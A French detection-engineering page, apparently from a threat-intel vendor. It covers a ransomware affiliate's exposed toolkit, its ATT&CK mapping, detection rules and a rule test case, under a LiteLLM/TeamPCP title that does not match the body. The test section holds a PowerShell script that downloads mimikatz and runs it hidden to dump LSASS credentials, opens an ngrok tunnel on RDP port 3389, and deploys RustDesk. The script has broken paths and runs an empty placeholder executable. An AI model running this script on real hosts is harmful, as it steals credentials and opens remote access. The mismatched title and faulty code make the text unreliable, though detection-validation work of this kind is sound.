33 000 déploiements LiteLLM exposés et les serveurs C2 derrière l’attaque de la chaîne d’approvisionnement de TeamPCP
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Des chercheurs ont découvert un répertoire ouvert non authentifié chez un fournisseur russe d’hébergement bulletproof contenant un ensemble complet d’outils opérateurs de ransomware attribués à un affilié du ransomware TheGentlemen. Cet ensemble inclut des utilitaires légitimes, des outils offensifs bien connus, des scripts batch pour l’évasion des défenses, le vidage d’identifiants et l’accès à distance, ainsi que des jetons ngrok en clair. Des preuves telles que les journaux de Mimikatz confirment une utilisation active contre de vraies victimes.
Enquête
L’enquête a débuté par l’interrogation d’IOCs publiés précédemment, menant au répertoire ouvert à 176.120.22.127:80. Les analystes ont catalogué 126 fichiers, extrait des outils de scan réseau, des utilitaires d’escalade de privilèges, des scripts de désactivation de défenses, des journaux de vidage d’identifiants et des mécanismes de persistance. Une analyse détaillée a cartographié chaque composant selon les techniques MITRE ATT&CK et mis en avant l’approche d’évasion par strates des défenses.
Atténuation
Les défenseurs doivent surveiller l’exécution d’outils à double usage connus, les modifications du registre désactivant Windows Defender, l’arrêt massif de services, la suppression d’ombres VSS et la création de partages SMB ouverts. Bloquer les connexions sortantes à l’IP et à l’infrastructure ngrok identifiées, et appliquer un liste blanche d’applications et le credential guard peut réduire l’impact.
Réponse
Lors de la détection, isolez l’hôte affecté, collectez les données volatiles et identifiez les tunnels ngrok actifs à l’aide des jetons exposés. Remédiez aux modifications du registre, rétablissez les services désactivés et initiez une procédure complète de réponse à l’incident incluant la rotation des identifiants et la restauration des sauvegardes.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc %% Nodes step_active_scanning["<b>Action</b> – <b>T1595 Active Scanning</b><br/><b>Tool</b>: netscan.exe"] class step_active_scanning action step_system_info["<b>Action</b> – <b>T1082 System Information Discovery</b><br/><b>Tools</b>: systeminfo, route print"] class step_system_info action step_process_discovery["<b>Action</b> – <b>T1057 Process Discovery</b><br/><b>Tool</b>: PCHunter64"] class step_process_discovery action step_priv_esc["<b>Action</b> – <b>T1134.003 Access Token Manipulation: Token Impersonation/The Trusted Installer</b><br/><b>Tool</b>: PowerRun impersonates TrustedInstaller"] class step_priv_esc action step_credential_access["<b>Action</b> – <b>T1003.001 OS Credential Dumping</b><br/><b>Tool</b>: Mimikatz harvests NTLM hashes and usernames"] class step_credential_access action step_defense_evasion["<b>Action</b> – <b>T1562.001 Impair Defenses: Disable Security Tools</b><br/><b>Tools</b>: dControl.exe, ConfigureDefender.exe"] class step_defense_evasion action step_modify_registry["<b>Action</b> – <b>T1112 Modify Registry</b><br/><b>Details</b>: registry changes to disable Defender and enable WDigest"] class step_modify_registry action step_service_stop["<b>Action</b> – <b>T1489 Service Stop</b><br/><b>Scripts</b>: z.bat / z1.bat stop and disable AV, Exchange, DB services"] class step_service_stop action step_persistence_c2["<b>Action</b> – <b>T1219 Remote Access Software</b> and <b>T1572 Standard Application Layer Protocol</b><br/><b>Tools</b>: ngrok tunnels, RustDesk remote access"] class step_persistence_c2 action step_inhibit_recovery["<b>Impact</b> – <b>T1490 Inhibit System Recovery</b><br/><b>Command</b>: vssadmin delete shadows"] class step_inhibit_recovery action step_anti_forensics["<b>Action</b> – <b>T1070.001 Clear Windows Event Logs</b><br/><b>Script</b>: clearlog.bat clears Windows event logs"] class step_anti_forensics action step_archive_data["<b>Action</b> – <b>T1560 Archive Collected Data</b><br/><b>Tool</b>: 7u2011Zip compresses data"] class step_archive_data action %% Connections step_active_scanning –>|leads_to| step_system_info step_system_info –>|leads_to| step_process_discovery step_process_discovery –>|leads_to| step_priv_esc step_priv_esc –>|leads_to| step_credential_access step_credential_access –>|leads_to| step_defense_evasion step_defense_evasion –>|leads_to| step_modify_registry step_modify_registry –>|leads_to| step_service_stop step_service_stop –>|leads_to| step_persistence_c2 step_persistence_c2 –>|leads_to| step_inhibit_recovery step_inhibit_recovery –>|leads_to| step_anti_forensics step_anti_forensics –>|leads_to| step_archive_data "
Flux d’attaque
Détections
Désactiver la surveillance en temps réel de Windows Defender et autres modifications des préférences (via cmdline)
Voir
Modifications suspectes du registre pour autoriser les connexions RDP et créer de la persistance (via process_creation)
Voir
Ombres possibles des services de bureau à distance (via process_creation)
Voir
Tentative de suppression d’artéfacts spécifiques au RDP dans le registre (cmdline)
Voir
Ajouter une bibliothèque suspecte aux Security Support Providers [SSP] (via registry_event)
Voir
Permissions de partage de fichiers faibles (via cmdline)
Voir
Modifications suspectes des préférences de Windows Defender (via powershell)
Voir
Probable utilisation d’outils de hack Windows [Part3] (via cmdline)
Voir
Utilisation possible de fonctionnalités d’accessibilité via abus du registre (via cmdline)
Voir
Exécution suspecte de Taskkill (via cmdline)
Voir
Activité suspecte de VSSADMIN (via cmdline)
Voir
Utilisation possible d’un mécanisme de sortie de processus silencieux (via registry_event)
Voir
Arrêt suspect de services interférant avec le ransomware (via cmdline)
Voir
Tentative de téléchargement ou d’initialisation de Ngrok possible (via cmdline)
Voir
Probable utilisation d’outils de hack Windows [Part3] (via file_event)
Voir
Énumération possible des processus système (via cmdline)
Voir
Modification possible des clés de registre de Windows Defender (via registry_event)
Voir
Désactivation des protections Windows Defender (via registry_event)
Voir
Abus possible de clé de registre WDigest (via registry_event)
Voir
Activité d’évasion de défense possible par utilisation suspecte de Wevtutil (via cmdline)
Voir
Contournement possible de l’UAC – Tentative de désactivation de l’UAC (via registry_event)
Voir
Logiciel d’accès/gestion à distance alternatif (via process_creation)
Voir
IOC (DestinationIP) pour détecter : 33K déploiements LiteLLM exposés et les serveurs C2 derrière l’attaque par chaîne d’approvisionnement de TeamPCP
Voir
IOC (SourceIP) pour détecter : 33K déploiements LiteLLM exposés et les serveurs C2 derrière l’attaque par chaîne d’approvisionnement de TeamPCP
Voir
Évasion de Windows Defender et vidage d’identifiants via des modifications du registre [Événement du registre Windows]
Voir
Désactivation de PowerShell Defender via Set-MpPreference [Windows Powershell]
Voir
Exécution d’outils connus pour l’escalade de privilèges et l’accès à distance [Création de processus Windows]
Voir
## Résumé exécutif
- ID du cas de test : TC-20260330-A1B2C
- TTP : T1003.001, T1016, T1021.001, T1021.002, T1046, T1057, T1059.003, T1070.001, T1070.004, T1082, T1112, T1134, T1219, T1484.001, T1489, T1490, T1546.008, T1548.002, T1560.001, T1562.001, T1572
- Résumé de la logique de règle de détection : Détecte la création de processus dont le nom exécutable correspond à une liste de outils d’escalade de privilèges ou d’accès à distance (par exemple, PowerRun, ngrok, RDP, RustDesk, mimikatz).
- Langage/Format de la règle de détection : Sigma (YAML)
- Environnement de sécurité ciblé : Windows OS; télémétrie de création de processus via Sysmon (Event ID 1) et Journal de sécurité Windows (Event 4688); tout SIEM/EDR capable d’ingérer ces événements (par exemple, Azure Sentinel, Splunk, Elastic).
- Score de résilience (1-5) : 2
- Justification : La règle repose uniquement sur la correspondance exacte des noms de fichiers. Un adversaire peut facilement l’esquiver en renommant les binaires, en utilisant des variantes packagées, ou en exécutant la même fonctionnalité via des utilitaires Windows intégrés, réduisant son efficacité.
- Principaux constats : La règle s’active de manière fiable lorsque les binaires listés exacts sont exécutés, mais elle échoue à détecter les outils renommés ou équivalents fonctionnellement, entraînant un risque élevé de faux négatifs.
- Recommandation : Enrichir la règle avec des indicateurs supplémentaires (hashes, arguments de ligne de commande, relations de processus parent) et élargir la couverture pour inclure les binaires natifs fournissant des capacités équivalentes.
## Environnement de simulation et contexte
-
TTP sous test :
- T1003.001 : Vidage des identifiants OS – Mémoire LSASS
- T1016 : Découverte de la configuration du réseau système
- T1021.001 : Services distants – Protocole de bureau à distance (RDP)
- T1021.002 : Services distants – Partages administratifs SMB/Windows
- T1046 : Scan de services réseau
- T1057 : Découverte de processus
- T1059.003 : Interprète de commandes et de scripts – Shell de commande Windows
- T1070.001 : Suppression d’indicateurs sur l’hôte – Effacement des journaux d’événements Windows
- T1070.004 : Suppression d’indicateurs sur l’hôte – Suppression de fichiers
- T1082 : Découverte d’informations système
- T1112 : Modifier le registre
- T1134 : Manipulation de jetons d’accès
- T1219 : Outils d’accès à distance
- T1484.001 : Modification de politiques de domaine – Modification de la politique de groupe
- T1489 : Arrêt de service
- T1490 : Inhiber la récupération du système
- T1546.008 : Exécution déclenchée par des événements – PowerShell
- T1548.002 : Abus du mécanisme de contrôle d’élévation – Contournement UAC
- T1560.001 : Archiver les données collectées – Archivage via utilitaire
- T1562.001 : Altérer les défenses – Désactiver les outils de sécurité
- T1572 : Tunneling de protocole
-
Contexte et pertinence du TTP :
La règle cible l’exécution de binaires historiquement associés aux techniques listées (par exemple, mimikatz pour T1003.001, ngrok pour T1572, RustDesk pour T1219). En reproduisant ces exécutions, nous pouvons valider si la détection s’active comme prévu et évaluer comment le changement de nom ou l’utilisation d’outils alternatifs affecte la détection. -
Environnement ciblé :
- OS: Windows 10/Serveur 2019 (64‑bit)
- Journalisation : Sysmon (v13+) avec la configuration par défaut de création de processus; Journal d’événements de sécurité Windows (Event 4688) activé.
- Pile de sécurité : Azure Sentinel (Kusto Query Language) – interchangeable avec Splunk, Elastic, etc.
## Télémétrie et vérification de pré-vol
Rationalité : Avant de simuler l’attaque, nous devons confirmer que l’hôte cible est configuré pour générer les journaux nécessaires, que ces journaux sont ingérés par le SIEM, et que la règle de détection ne s’active pas sur des activités bénignes. Sans cette validation, tout résultat de test est peu fiable.
-
1. Instructions de configuration de la télémétrie :
- Installez Sysmon (si non déjà présent) et appliquez une configuration qui consigne les événements de création de processus (EventID 1).
# Télécharger et installer Sysmon Invoke-WebRequest -Uri https://download.sysinternals.com/files/Sysmon.exe -OutFile $env:TEMPsysmon.exe & $env:TEMPsysmon.exe -i -accepteula - Vérifiez que l’audit de sécurité Windows pour “Audit de la création de processus” (Event 4688) est activé via la stratégie de groupe ou la stratégie de sécurité locale.
- Assurez-vous que le connecteur SIEM est actif et envoie à la fois les journaux Sysmon et de sécurité à l’espace de travail choisi.
- Installez Sysmon (si non déjà présent) et appliquez une configuration qui consigne les événements de création de processus (EventID 1).
-
2. Validation de l’ingestion et de la base :
-
Action (Télémétrie bénigne) : Exécutez un binaire Windows commun qui est not partie de la liste de détection mais génère toujours un événement de création de processus.
# Commande bénigne – lancer Notepad (ne devrait pas déclencher la règle) Start-Process notepad.exe -
Requête de validation (Ingestion) : Confirmez que l’événement Notepad apparaît dans le SIEM.
// Azure Sentinel KQL – vérifier l'ingestion du processus bénin SecurityEvent | where EventID == 4688 | where Process == "notepad.exe" | project TimeGenerated, Computer, Process, CommandLine, InitiatingProcessFileName | limit 10
-
## Exécution de la simulation
Préalable : La vérification de pré-vol de la télémétrie et de la base doit avoir réussi.
Rationalité : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront des erreurs de diagnostic.
-
Narratif de l’attaque et commandes :
- Vidage d’identifiants (T1003.001) : L’attaquant copie
mimikatz.exesur l’hôte victime, le renomme enPowerRun_x64.exe(pour correspondre à la liste de noms de fichiers de la règle) et l’exécute pour extraire les identifiants LSASS. - Création de tunnel inverse (T1572) : L’attaquant lance
ngrok.exe(tel quel) pour ouvrir un tunnel TCP qui redirige un port RDP local vers le serveur de l’attaquant, facilitant ainsi le mouvement latéral. - Session de bureau à distance (T1021.001) : Utilisant le tunnel nouvellement créé, l’attaquant exécute
rdp.exepour ouvrir une connexion de bureau à distance vers un second hôte interne. - Accès à distance alternatif (T1219) : En tant que solution de repli,
rustdesk.exeest démarré pour établir un canal d’accès à distance persistant.
Chacune de ces exécutions produit un enregistrement Sysmon/Event 4688 avec le champ
Imagese terminant par le nom d’exécutable respectif, remplissant la condition de détection. - Vidage d’identifiants (T1003.001) : L’attaquant copie
-
Script de test de régression :
<# Script de simulation pour déclencher la règle "Outils connus pour l'escalade de privilèges et l'accès à distance". Prérequis : - Sysmon & Audit d’événements de sécurité activés. - L'utilisateur actuel a suffisamment de droits pour exécuter les binaires. #> # 1. Déployer mimikatz et le renommer en PowerRun_x64.exe (correspond à la règle) $mimikatzUrl = "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" $tempPath = "$env:TEMPmimikatz" New-Item -ItemType Directory -Path $tempPath -Force | Out-Null Invoke-WebRequest -Uri $mimikatzUrl -OutFile "$tempPathmimikatz.zip" Expand-Archive -Path "$tempPathmimikatz.zip" -DestinationPath $tempPath -Force Copy-Item -Path "$tempPathmimikatzx64mimikatz.exe" -Destination "$env:TEMPPowerRun_x64.exe" -Force # Exécuter mimikatz renommé (vidage des identifiants) Write-Host "[*] Exécution de mimikatz renommé (PowerRun_x64.exe) pour le vidage des identifiants..." Start-Process -FilePath "$env:TEMPPowerRun_x64.exe" -ArgumentList "privilege::debug sekurlsa::logonpasswords exit" -WindowStyle Hidden -Wait # 2. Télécharger et exécuter ngrok (tunnel inverse) $ngrokUrl = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip" Invoke-WebRequest -Uri $ngrokUrl -OutFile "$tempPathngrok.zip" Expand-Archive -Path "$tempPathngrok.zip" -DestinationPath $tempPath -Force $ngrokPath = "$tempPathngrok.exe" Write-Host "[*] Démarrage du tunnel TCP ngrok sur le port 3389..." Start-Process -FilePath $ngrokPath -ArgumentList "tcp 3389 --log=stdout" -RedirectStandardOutput "$tempPathngrok.log" -NoNewWindow # 3. Lancer le client RDP via le tunnel (simulé) Write-Host "[*] Simulation de connexion RDP via tunnel (rdp.exe)..." $rdpPath = "$tempPathrdp.exe" # Créer un faux rdp.exe (juste pour générer le nom de processus) New-Item -ItemType File -Path $rdpPath -Force | Out-Null Start-Process -FilePath $rdpPath -WindowStyle Hidden # 4. Déployer RustDesk en tant qu'outil d'accès à distance de repli $rustdeskUrl = "https://github.com/rustdesk/rustdesk/releases/download/1.1.9/rustdesk-1.1.9-windows-x64.zip" Invoke-WebRequest -Uri $rustdeskUrl -OutFile "$tempPathrustdesk.zip" Expand-Archive -Path "$tempPathrustdesk.zip" -DestinationPath $tempPath -Force $rustdeskPath = "$tempPathrustdesk.exe" Write-Host "[*] Démarrage de RustDesk (accès à distance de repli)..." Start-Process -FilePath $rustdeskPath -ArgumentList "--no-upgrade" -WindowStyle Hidden Write-Host "[+] Simulation complète. Vérifiez le SIEM pour les événements de création de processus se terminant avec les binaires listés." -
Commandes de nettoyage :
# Terminer le tunnel ngrok Get-Process -Name ngrok -ErrorAction SilentlyContinue | Stop-Process -Force # Supprimer les fichiers temporaires et binaires Remove-Item -Path "$env:TEMPPowerRun_x64.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPngrok.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPrdp.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPrustdesk.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Recurse -Force -Path "$env:TEMPmimikatz", "$env:TEMPngrok", "$env:TEMPrustdesk" Write-Host "[*] Nettoyage terminé."